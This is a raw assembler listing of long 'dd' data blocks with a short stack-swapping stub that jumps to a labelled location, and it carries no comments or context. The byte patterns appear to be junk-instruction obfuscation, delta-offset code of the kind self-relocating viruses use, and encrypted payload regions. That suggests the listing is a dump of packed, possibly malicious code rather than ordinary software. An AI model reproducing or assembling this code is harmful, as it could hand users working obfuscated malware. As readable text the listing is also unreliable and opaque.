dd 0B6605AAh, 0E01971B5h, 858D5F07h, 7E4220Bh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 7BC35747h, 7F6036EDh
dd 95897093h, 7E00701h, 105C083h, 0E026E185h, 8B665007h
dd 240489FAh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 0A8C35646h, 676B446Dh, 6A006Ah, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0E30EEEC3h
dd 151D1870h, 6AE3F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 0ABC35343h, 1348FBEFh, 1753455h, 0E028AD85h
dd 4195FF07h, 0BF07E034h, 75CBDB13h, 3890Fh, 8B660000h
dd 939D8DF2h, 6A07E3A3h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 0E938C355h, 0FF7E53F4h
dd 0B9B58BD3h, 0FF07E026h, 0E020FD85h, 52006A07h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0DC2A4253h, 0E919FEE3h, 75Ch, 0E8h, 0ED815D00h, 7E42215h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C9C35141h
dd 0BD81F928h, 7E01391h, 7D0h, 0EA860Fh, 9D8B0000h, 7E020E9h
dd 6680D781h, 0E3813E33h, 100h, 3345BD8Bh, 0DB0B07E0h
dd 8B850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 8970DAC3h, 2005BD83h, 0F0007E4h
dd 1184h, 0AABE6600h, 62E961h, 9600000h, 0E012A59Dh, 85C76107h
dd 7E42005h, 1, 0C810Fh, 8B0F0000h, 6, 0ED9BCF81h, 8166517Ah
dd 0E97793DEh, 34h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0AC35747h, 530F785h, 958953B4h, 7E0141Dh
dd 585C75Fh, 7E420h, 0F9000000h, 20E99D8Dh, 6A07E0h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
dd 814FEEC3h, 0FFFEFF23h, 5840FFFh, 0BE000000h, 187CBCDBh
dd 66DB8C66h, 0B921C781h, 0F04C3F6h, 4184h, 0E995FF00h
dd 6A07E01Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 16042444h, 47000000h, 0A965C357h, 0EE95066h, 0D4000000h
dd 0EFF2B25Fh, 76588218h, 41A9C64Dh, 2404892Ah, 10C58D89h
dd 0ADE907E0h, 6A000003h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 17042444h, 41000000h, 1506C351h, 9E937E0h
dd 0D4000000h, 16BB1478h, 4A2D81FBh, 0B50300B0h, 7E023F1h
dd 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 0F7AA06C3h, 9E39266Fh, 3FBE168Ch, 0E47FC7E0h
dd 0AE971h, 766B0000h, 199FD24Eh, 1142F860h, 89D8B60Fh
dd 0E02C25B5h, 61B58B07h, 0BA07E01Dh, 6, 8BFE8B66h, 12E9C3h
dd 0ADA60000h, 0A9D0DD9Bh, 467D8C7Bh, 14CF82Ah, 7EE82B4Eh
dd 0C1F6BF0Fh, 0F76604E8h, 52006AE2h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 4269D01Dh
dd 0FB8BE9D8h, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 0CB43B9C3h, 0DD98589h, 895007E0h
dd 8D89241Ch, 7E01899h, 1391B5FFh, 6A07E0h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BD8908C3h
dd 7E00209h, 18A995FFh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 140424h, 55450000h, 0B0EFC3h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0B8C35242h, 12C1AE4Ah
dd 1D6C4072h, 0E470E6C1h, 50006A71h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 2FD9EB78h
dd 85312CB3h, 7E00DF9h, 615B523h, 613C07E0h, 206830Fh
dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
dd 50400000h, 0FFC23C3h, 6AD8B6h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 5E0DE1C3h, 0CE8h, 0E0583C00h
dd 0F2B5F2D0h, 6B2147A8h, 5DBD31C2h, 5F07E007h, 6BAh, 0DBD8B00h
dd 8B07E02Fh, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1704h, 0C3554500h, 944ADE36h, 6604E8C1h, 0D345C681h
dd 89E2F766h, 0E022F58Dh, 8BD82B07h, 0E025CDBDh, 8D315807h
dd 7E015FDh, 880FD82Bh, 15Ch, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 61C35040h, 0C6FF9689h, 0D2F4E2CBh
dd 7B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1904h, 0C3504000h, 9212217Ch, 860F4C54h, 5, 0A4647EBFh
dd 0C1830Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 48C35040h, 3E2379AAh, 95295E56h, 7E02FA9h, 860FD93Bh
dd 0D4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ch, 0C6C35141h, 0EAC0DE8Ch, 6BE4B718h, 0DEBF0F60h
dd 0D98C6661h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 0DDC35646h, 4490B3F3h, 8C6CA16Ch, 0F04C1F6h, 6384h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 0EBA2B1B4h, 0FF485A5Bh, 0E01AE995h
dd 5E907h, 0CC450000h, 5B90A78Eh, 6914BE66h, 26B19D89h
dd 0C32B07E0h, 11BACE81h, 343D2AE1h, 0F000008h, 1386h
dd 1FC6000h, 0E02E6DBDh, 1DE96107h, 50000000h, 5EF78B66h
dd 11E9C08Bh, 0CD000000h, 0CA5A0DA5h, 5087D206h, 43440580h
dd 0A700564h, 0D88BC38Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 58C35141h, 7A6F1B2Dh, 185C778h, 9D07E01Eh
dd 6A7F35FBh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 5A06C357h, 2D019D95h, 1A85FCAh
dd 0E006BD8Dh, 50C08B07h, 19B1E4BEh, 0BD815E71h, 7E01391h
dd 7D0h, 5F850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 2F74AEC3h, 23E97164h
dd 89B5892Eh, 0E008D985h, 9185FF07h, 6A07E013h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
dd 6515C352h, 28A058FCh, 2E7163D3h, 20F1B58Bh, 0BF0F07E0h
dd 91B5FFF6h, 6607E013h, 95FFF08Bh, 7E018A9h, 0AE8h, 2AEFF400h
dd 0DAF0D347h, 89BFD70Eh, 0E031318Dh, 89905E07h, 0E0195D9Dh
dd 0A1BD8B07h, 6A07E025h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 2732C351h, 0DFF1A057h
dd 219D89C7h, 6A07E01Eh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 68C9C353h, 0FF92B2Dh
dd 8D89FBBFh, 7E01B09h, 0F5F08B66h, 8ADBD8Bh, 0B6007E0h
dd 0E01ADDBDh, 558D8B07h, 6107E013h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 0BDC35141h, 64C65EB8h, 0EA03719Eh
dd 9CCABFD9h, 6A2FCBh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 180424h, 51410000h, 17A914C3h, 820F0FFAh, 2Dh, 8F0F60h
dd 80000000h, 8166A1E4h, 613F13CAh, 11E8h, 6DFECF00h, 0B116C14Ah
dd 13A84EECh, 13A289B5h, 0B58B1177h, 7E02A61h, 0ADFBBF5Fh
dd 6A149Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
dd 52420000h, 75CEE2C3h, 1DBD897Dh, 5207E014h, 0B9A528BEh
dd 11BD8B6Ah, 5E07E00Eh, 0FFF8B3E9h, 0AE9FFh, 3FDE0000h
dd 863A02E8h, 0D64CB7F0h, 880FC18Bh, 6, 2C89BD8Bh, 5E5207E0h
dd 4EBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 0B2E113C3h, 0DC840794h, 0F38BA4F5h
dd 12E8h, 14522300h, 0B0A3795h, 87BEEE18h, 1E5F50CCh, 29631CC4h
dd 0E031E59Dh, 6A5F07h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 86C289C3h, 0B70147C8h, 0C9858D27h
dd 6A07E013h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 29EAC357h, 0E000B5B5h, 4895007h
dd 10E924h, 0BABE0000h, 4CE165B8h, 0F2001058h, 3ACBFE05h
dd 6AE6D5h, 6A5F53h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 17h, 0BAC35242h, 66E27A39h, 858DF78Bh, 7E42B4Ch
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 19C35545h
dd 0BDCFD19Ch, 0E7135270h, 0EE8160A4h, 332F1E1Ah, 3AD08166h
dd 0C0836172h, 41B58B05h, 9007E01Ch, 9050FE8Bh, 5E8h, 549F3700h
dd 6E97FFBh, 0F000000h, 0F104ECC7h, 870F5F7Bh, 1Ah, 0EE8h
dd 0C4EF6E00h, 0FB28A1Fh, 0F27E78CEh, 29CF8663h, 0E0112D8Dh
dd 6A5F07h, 860Fh, 6A0000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 0DBC35545h, 46F9E4BDh, 5EBC9CEEh, 4195FFA2h
dd 8D07E034h, 0E3A3939Dh, 0F7816607h, 0FFF8C70Ah, 0A9BD8BD3h
dd 0FF07E010h, 0E020FD85h, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0DAFBD1B0h
dd 9054F27h, 6860Fh, 95890000h, 7E01D1Dh, 816E9h, 0E800h
dd 815D0000h, 0E42B56EDh, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0EE95414h
dd 3D000000h, 0A469AAD8h, 0D7E55712h, 334BEC5Ch, 91BD81BAh
dd 0D007E013h, 0F000007h, 15986h, 0FE900h, 0EB650000h
dd 9D83B334h, 0DBF164AFh, 2009E5E9h, 759D8BA1h, 6A07E014h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 0BF3AC350h, 0C8313BBh, 100E381h, 0BD8B0000h
dd 7E0188Dh, 0CE8h, 1ADA9400h, 0E32F099Ah, 34B76823h, 0B5FF56Fh
dd 8E850FDBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 4B66C356h, 0F6D38DFDh
dd 0F9958934h, 8307E02Eh, 0E4297EBDh, 840F0007h, 22h, 5EE9h
dd 178E0F00h, 0E8000000h, 11h, 37BC435Ch, 0D5BFE32Bh, 7A12949h
dd 0A1FF670Bh, 85C75FFDh, 7E4297Eh, 1, 0E9FB8B66h, 2Fh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 8FC35141h
dd 79BD8E42h, 1CC061Ch, 7E85C7CEh, 7E429h, 8D000000h, 0E014759Dh
dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h
dd 0C3534300h, 6F6351EAh, 2FE99D29h, 238107E0h, 0FFFFFEFFh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 65C35040h
dd 1CF5BD8Bh, 840F07E0h, 6, 1209B50Bh, 8C6607E0h, 52006ADBh
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0ADCDA452h, 0F04C3F6h, 7784h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 0E995FF5Bh
dd 6A07E01Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 21D5C351h, 0CE9h, 215B6800h, 6204C7B7h
dd 0E5CF89D8h, 489509Fh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 8D89834Eh, 7E0141Dh, 3F7E9h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 0B893273Eh, 0A1F0C024h, 0F18B2E08h, 0DF60E681h
dd 0B02B4Dh, 3D53BF66h, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 160424h, 53430000h, 4A60BBC3h, 0E4F6BF0Fh
dd 0D8B60F71h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 25C35545h, 0C781E80Eh, 3CC0A947h, 6BAh, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 0EB6062BCh, 6AC38BE1h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 8960C357h, 0E02CED85h
dd 4E8C107h, 66FBBF0Fh, 6AE2F7h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 2EB427C3h, 213D3854h
dd 0FCD82B81h, 0BE95050h, 0C000000h, 75FB9A9Ch, 3D7B2818h
dd 895E98B2h, 8A0F241Ch, 19h, 10E8h, 0CCF34800h, 0FDE3F1FCh
dd 749BFE55h, 5793B41Ah, 0F1B70F5Ch, 91B5FF5Fh, 0F07E013h
dd 95FFFEB7h, 7E018A9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 0C2C35343h, 0C6B52EB7h, 0EE81FAC1h, 1C8CB78Ch
dd 6A00B0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 0ED5FB5C3h, 6DB4BCD2h, 8B92BAD8h, 6A70E6F1h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 1C43C357h, 2371E4B0h, 0E01D61B5h, 0F613C07h
dd 23B83h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 9842A979h, 0FA293D1h, 6AD8B6h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 0E3458C3h, 6BA1B09h, 89000000h, 0E02C6D8Dh, 56C38B07h
dd 6663D681h, 0C15F713Ch, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 0FF9FC8C3h, 0E2F766F5h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1DC35747h
dd 34CE13CBh, 0D82B8714h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 53C35646h, 78B3BB5Fh, 0D8DE146Dh, 6A5815h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
dd 0C5603CC3h, 59BD03BEh, 2B07E005h, 45880FD8h, 6A000001h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h
dd 46000000h, 8B89C356h, 5BD29F9h, 0B907E01Eh, 7, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8AC35747h, 0D11621D8h
dd 32374D21h, 0C1836Ch, 109BF66h, 860FD93Bh, 0E8h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DBC35646h, 0AB99B6F7h
dd 50EEB2C3h, 0BA666021h, 9509C797h, 7E01885h, 0D98C6661h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 2AC35747h
dd 0FE9h, 32D41600h, 0C9604BBh, 0FE9AB1FCh, 26F83472h
dd 0F04C1F6h, 7384h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 0B761E00Fh, 3E5B3F87h
dd 0D59D899Bh, 0FF07E028h, 0E01AE995h, 9D295007h, 7E02381h
dd 0B5335B5Eh, 7E02371h, 0E8B941BFh, 2BC32B45h, 0E020A9BDh
dd 0FFB70F07h, 8343Dh, 19860F00h, 0F000000h, 8166F1B7h
dd 0E9F557C6h, 14h, 68E0Fh, 85890000h, 7E01549h, 0BD8BC08Bh
dd 7E006E5h, 0D88BC38Bh, 0FBF8BE66h, 20E985C7h, 53B307E0h
dd 0BD311CF8h, 7E01B21h, 840FC08Bh, 4, 13D0BE66h, 1391BD81h
dd 7D007E0h, 850F0000h, 48h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 0D5C35747h, 8D895BEAh, 7E01AE5h
dd 5FEF8166h, 0FFF08BEFh, 0E0139185h, 12E907h, 0AFA20000h
dd 0DB0685F3h, 710FFBC4h, 7CA11C22h, 67981805h, 1391B5FFh
dd 0FE907E0h, 0E8000000h, 27C63317h, 36E8B32Bh, 9A0FDEB5h
dd 95FF9F6Ch, 7E018A9h, 4079EE81h, 6A9042E0h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 63EEC357h, 77ABCD62h, 6AF78Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 217CDDC3h, 6DBD8B12h
dd 3107E014h, 0E02E5585h, 0FE8B6607h, 0AB9F7CBEh, 198B0F06h
dd 0E8000000h, 10h, 39D93DE0h, 4869269Fh, 0BD657C81h, 0BDA8689Eh
dd 5EF08B66h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 16h, 33C35646h, 6A2EA3h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 798675C3h, 0E94C3257h
dd 10h, 0B21FFC52h, 0D159C7B2h, 0C68FA362h, 8642D75Bh
dd 0E88493BEh, 11E849h, 5380000h, 183FCECCh, 50710DF2h
dd 531DF64Ah, 56A0BE71h, 19419D01h, 880F07E0h, 0
dd 35FFC5Fh, 0E021ADB5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1D04h, 0C3524200h, 0E0E37E4Bh, 0EDBC0F5h
dd 0BD8B5E06h, 7E02891h, 0FFF7F0E9h, 0DBD89FFh, 0E907E02Fh
dd 15h, 1154DAFAh, 4 dup(0)
dd 56BE900h, 0C9B10000h, 3C23F50Fh, 0B3986A84h, 260FE1FBh
dd 0A082546Eh, 4E77CCE6h, 233DF7D9h, 99B36D51h, 122CE4C7h
dd 86A05A40h, 1998BBA6h, 6521D66Eh, 452B59F3h, 0A688868Bh
dd 1A00D2ECh, 775D5B60h, 1655B8BDh, 0BAA0BEF3h, 3FF9DD29h
dd 150F1568h, 0FE71762Eh, 0CD1AB3DFh, 0D09B4924h, 49F855CAh
dd 1175866Fh, 0F5FB1978h, 0D5CCD17Ch, 35EFD5CFh, 230AE41Bh
dd 79B97712h, 832E4DE5h, 0B9F81B7Eh, 0C529BA6Dh, 0C7C1C772h
dd 0D6152CE4h, 0BA6DFEB3h, 1F257829h, 5008EBBDh, 0AF694D4Bh
dd 719DB4AAh, 681ECE2Ch, 0DED7DB03h, 30766845h, 0B10E8389h
dd 0E0C58467h, 2C637D28h, 0ACB16952h, 0E610B85Ch, 9B460943h
dd 454B05E9h, 0A6AB654Bh, 0D0E10443h, 0A629BA4Fh, 0A40A4D53h
dd 0F729BA4Fh, 57555A12h, 43B6BB75h, 456EB10Eh, 2561BF14h
dd 4E5434BBh, 3Ah, 84452B98h, 0EDE4E9A1h, 0B9F63D42h, 6F29BAA0h
dd 5F8BE13Eh, 785434EAh, 1, 85442BC2h, 0EAE1E69Eh, 553C3A3Fh
dd 0B19A989Dh, 4C81F4F9h, 6BEA5F7h, 7A341AECh, 87C66660h
dd 0BAA14D64h, 0D2D62929h, 42F5264Bh, 0C5BFC55Bh, 0E61229E3h
dd 0DCC06834h, 0B2AE1E22h, 0E0DE2B31h, 0EB2A41F9h, 0B9BAE9C8h
dd 3C429529h, 550FF1EFh, 476B5250h, 0B9BA8D24h, 0EB96E929h
dd 0F29D96E6h, 0C89437A7h, 8DD02DE2h, 81CB2871h, 94CBE59Fh
dd 1419D1BAh, 0CC846B1Dh, 0D0CAD0C7h, 3F1930EAh, 0A79EA35Dh
dd 715654A1h, 0F758B4B9h, 0B416449Ah, 91415434h, 8B000000h
dd 23492Bh, 29BAA0B1h, 0B8CF7ACDh, 0FFB99F79h, 0A90803FAh
dd 0D529BAA0h, 312F7C82h, 1C8F944Ch, 5E408AE7h, 0D6B88AA4h
dd 3019171Ch, 0CC177378h, 0ABFB7DA0h, 7258DF38h, 92070DB8h
dd 0BCB3DF3Dh, 71DC5434h, 0E9000000h, 696F290Fh, 8F492B47h
dd 0FE3E4C78h, 0B2DDEF30h, 7E615FACh, 4D70AFC6h, 29BA0F64h
dd 2C15C71Ah, 23216E74h, 807E833Dh, 0E1DFE49Eh, 463D42FAh
dd 0FE48A566h, 0D1B7621Ch, 9375C71Ch, 1496C2D9h, 4C3D2E70h
dd 0FEF85A60h, 878C442Bh, 0BAA16E40h, 924A2D29h, 0EEA68F8Dh
dd 4B05EBE9h, 0AE6F4F46h, 0B4E50E51h, 0EAC5015Fh, 1EE5434h
dd 38000000h, 0A287462Bh, 4045FFE3h, 0A2999E49h, 0EF4F2F7h
dd 2C594F54h, 0E8A085D7h, 0C17EA2CEh, 69486BAAh, 1529BAA1h
dd 702A10C2h, 8DCC0B6Ah, 0BAA1476Ah, 4D702F29h, 29BAA164h
dd 51CC71Ah, 0BAA0CFE2h, 4E54A729h, 5A9F5F0Bh, 987F592Eh
dd 493CDCE0h, 350DA252h, 0B8BD102Fh, 36DE2955h, 0D0A3C050h
dd 362D32ECh, 0A58B858Bh, 19FFD1EBh, 9C135A5Fh, 0FF21DA2Ah
dd 5D5B6018h, 0C5BBC078h, 12F83B98h, 7751005Dh, 0DCD6DC94h
dd 4B253CF6h, 0B1A8AD67h, 917749ABh, 0EED4D2D7h, 878C442Dh
dd 0E6EBA589h, 829944EFh, 0FCB2C3A8h, 7EE24EE8h, 0F7444AF5h
dd 3AE9468Fh, 0DAA4A00Eh, 0ABB1DD26h, 0F711CBB1h, 0D464ED19h
dd 1040653h, 0D1500000h, 0B6D9F04Fh, 2E5A8720h, 9F573C96h
dd 0BF1EFF4h, 7F653751h, 4C6FAEC5h, 21DA7B65h, 0A68EF8E4h
dd 0AE85DC02h, 0A08555Bh, 14536A24h, 0DA8BC0F1h, 765CB621h
dd 0BE0B11BCh, 66B00D56h, 0CEACC680h, 53D4FF90h, 3FBBh
dd 4ED10500h, 15FED8EFh, 0D5F8575Dh, 56455DFCh, 3E182F82h
dd 0A69DA25Ch, 0A50C53A0h, 0C8A9BAA1h, 1B06AA07h, 0F1E0031Ah
dd 4DD6455Eh, 0CFA9E0FAh, 652E32EAh, 0DD3ACF31h, 7B5D878Dh
dd 0F3000000h, 0D9F04FD1h, 5AA4E4B6h, 2075A2Eh, 4A641E04h
dd 0EBD19278h, 3A818631h, 21DA9C92h, 38EF44F9h, 9CDBD6F9h
dd 50A321DAh, 0B06A504Ah, 89A66A96h, 8E0A4F72h, 1844267Eh
dd 43DE57D0h, 245256C5h, 0DB36468Dh, 11648389h, 697DA90Ch
dd 35FF41EDh, 0E2C8C2C8h, 3C252328h, 9B817F84h, 903BF3DAh
dd 0EFA98D8Bh, 97CCF3EAh, 204DF73Ah, 32F11FC3h, 2561F81Bh
dd 8ADD2E5Ah, 87C67670h, 0BAA14D64h, 0D0D62929h, 82B947Ch
dd 29BAA0A9h, 0C0D782D5h, 7C1A781h, 919BBE01h, 0A0F32E5Eh
dd 0FDB79D9Bh, 4A6DACE3h, 21D66E67h, 0BCB6BC0Fh, 0B4171CD6h
dd 8B385D88h, 1F62FB4Ch, 0B5A6AA05h, 0FF424849h, 37260FBEh
dd 0C5EB3E8h, 5CDE1326h, 0DB4FAF0h, 90764862h, 2F6ED1D6h
dd 65B4A50Ch, 5812F618h, 2B855C53h, 0DAE08B45h, 3A3FF7E0h
dd 53475A3Ch, 0ECF7FBAEh, 92909540h, 0C1EDF2ACh, 0B660A300h
dd 0A37D3489h, 2FC02BAh, 7648621Ch, 0A3D1D690h, 3, 2B662439h
dd 86848943h, 0E3E1E6A0h, 45434800h, 0A4A2A761h, 50308C2h
dd 66646923h, 0C2C0C57Dh, 222025DDh, 6D7E833Bh, 81E18951h
dd 4C1h, 4E98300h, 8B240C87h, 9A682424h, 89000030h, 8956243Ch
dd 4C681E6h, 81000000h, 4EEh, 24348700h, 2404895Ch, 0E4338668h
dd 46685F07h, 89000006h, 4812424h, 424h, 0EC835800h, 24148904h
dd 8BAh, 89C20100h, 48B5A3Ah
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_554887
; ---------------------------------------------------------------------------
dd 46D6809h, 3874B8D0h, 0C50307E4h, 0E82AE0FFh, 0C4B37BA3h
dd 0CBB97B9Bh, 5692589Dh, 0C18B632Eh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 8EC35242h, 0CCF2516Bh, 9D09E5CDh
dd 7E031A9h, 4EBh, 0BE660000h, 6A08B9h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8D29DDC3h
dd 7E01831h, 800Fh, 858D0000h, 7E013C9h, 0B4C7BE66h, 0D18B6090h
dd 8B665061h, 0F88B90F0h, 0BD89006Ah, 7E001CDh, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
dd 26B50EC3h, 810F2487h, 6, 1181BD89h, 858D07E0h, 7E43AA7h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 90C35040h
dd 10F687D8h, 0E5BD897Eh, 6007E021h, 8361F88Bh, 6A05C0h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
dd 8502F5C3h, 9D0987BFh, 7E01FD5h, 0BF525090h, 4D999E8Ch
dd 0DEBE310Fh, 5A39926Fh, 0F78B5058h, 8C0F6090h, 6, 880Fh
dd 6A610000h, 7FBF6600h, 81006ADFh, 857A7CDFh, 4195FF34h
dd 6607E034h, 9D8DF28Bh, 7E3A393h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 14h, 3BC35545h, 2DA59589h, 0D3FF07E0h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0BC35343h
dd 8F9C8FD9h, 8B0DC539h, 0FD85FFFEh, 0F07E020h, 680h, 25858900h
dd 0E907E006h, 7E2h, 0E8h, 0ED815D00h, 7E43AB1h, 81F38B66h
dd 0E01391BDh, 7D007h, 2C860F00h, 8B000001h, 0E01C51BDh
dd 0A19D8B07h, 6A07E016h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 0DAEEC356h, 69B9E89Ch
dd 6DBD8BE9h, 8107E02Eh, 100E3h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 27868B69h
dd 0F518D86Bh, 11E8h, 0BBA82600h, 0EB2D285Ah, 0B3F12C3Ch
dd 0B21E254Eh, 0BD33573Bh, 7E030E5h, 0CE95Eh, 0E40D0000h
dd 50E10109h, 0A6B43F5Ah, 0DB0BF816h, 77850Fh, 0BE660000h
dd 0F38BD2FDh, 3936BD83h, 0F0007E4h, 4E84h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 7B79121Eh, 12E9DC3Ch, 0AC000000h, 70CEF703h, 0DC1EE7DDh
dd 32A81717h, 0F1A05727h, 698D89DFh, 0E907E01Ah, 2Bh, 0F7B70F53h
dd 71BD8B5Eh, 0C707E020h, 0E4393685h, 107h, 79F78100h
dd 0E9302DFEh, 0Bh, 3685C7F8h, 7E439h, 8D000000h, 0E016A19Dh
dd 0E5BD2907h, 8107E020h, 0FFFEFF23h, 0BF6657FFh, 665FDBB7h
dd 6ADB8Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 66484BC3h, 0D72DD681h, 0F04C3F6h, 7784h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 0FCF3F857h, 95FF23AEh, 7E01AE9h, 7E8h, 0FC3D5500h
dd 3B5ADF0h, 7A5BD8Bh, 505E07E0h, 3890Fh, 8B660000h, 240489F3h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DAC35343h
dd 8B66B2FEh, 0AE9F1h, 4BD40000h, 19F5ABDBh, 0D2CC493Eh
dd 3D2E9h, 12E900h, 34420000h, 519F9A88h, 0FF0AF3DEh, 17EFF72Ah
